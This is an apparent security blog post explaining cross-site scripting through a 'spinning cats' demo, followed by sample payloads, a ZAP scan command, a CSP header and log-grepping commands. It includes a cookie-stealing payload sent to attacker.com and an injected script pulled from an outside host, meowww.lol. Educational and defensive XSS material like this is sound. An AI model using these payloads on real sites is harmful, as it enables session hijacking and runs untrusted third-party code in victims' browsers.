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Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, allowing attackers to inject malicious scripts into web pages viewed by other users. While traditional demonstrations often use simple `alert()` boxes, sometimes a more engaging approach is needed to drive the point home. Enter the “spinning cats” XSS demonstration—a creative and memorable way to showcase the power of XSS.
Repo: https://lnkd.in/gpxCstAM
Script: https://meowww.lol/cat.js
You Should Know:
To understand and practice XSS, here are some essential commands and code snippets:
1. Basic XSS Payload
<script>alert('XSS');</script>
This is the simplest form of XSS payload. It triggers a JavaScript alert box when injected into a vulnerable web page.
2. Stealing Cookies with XSS
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
This payload sends the user’s cookies to an attacker’s server, demonstrating how XSS can be used for session hijacking.
3. Spinning Cats Demonstration
<script src="https://meowww.lol/cat.js"></script>
Inject this script into a vulnerable site to see the spinning cats in action. It’s a fun yet effective way to demonstrate XSS.
4. Testing for XSS Vulnerabilities
Use tools like Burp Suite or OWASP ZAP to test for XSS vulnerabilities. Here’s a basic command to run ZAP:
zap.sh -cmd -quickurl http://example.com -quickprogress
5. Mitigating XSS
To prevent XSS, always sanitize user inputs and use Content Security Policy (CSP). Here’s an example of setting a CSP header in Apache:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com;"
- Linux Command to Monitor Web Logs for XSS Attempts
tail -f /var/log/apache2/access.log | grep -i "script"
This command helps you monitor web server logs for potential XSS attempts.
7. Windows Command to Check for Malicious Scripts
Get-Content -Path "C:\inetpub\logs\LogFiles*.log" | Select-String "<script>"
This PowerShell command scans IIS logs for script tags, which could indicate XSS attempts.
What Undercode Say:
XSS is a serious vulnerability that can lead to data theft, session hijacking, and more. While traditional demonstrations like `alert()` boxes are useful, creative approaches like the “spinning cats” demo can make the risks more tangible for non-technical audiences. Always sanitize user inputs, implement CSP, and regularly test your applications for vulnerabilities. Tools like Burp Suite and OWASP ZAP are invaluable for security testing. Remember, a secure web application is not just about functionality—it’s about protecting your users and their data.
Further Reading:
References:
Reported By: Theonejvo I – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
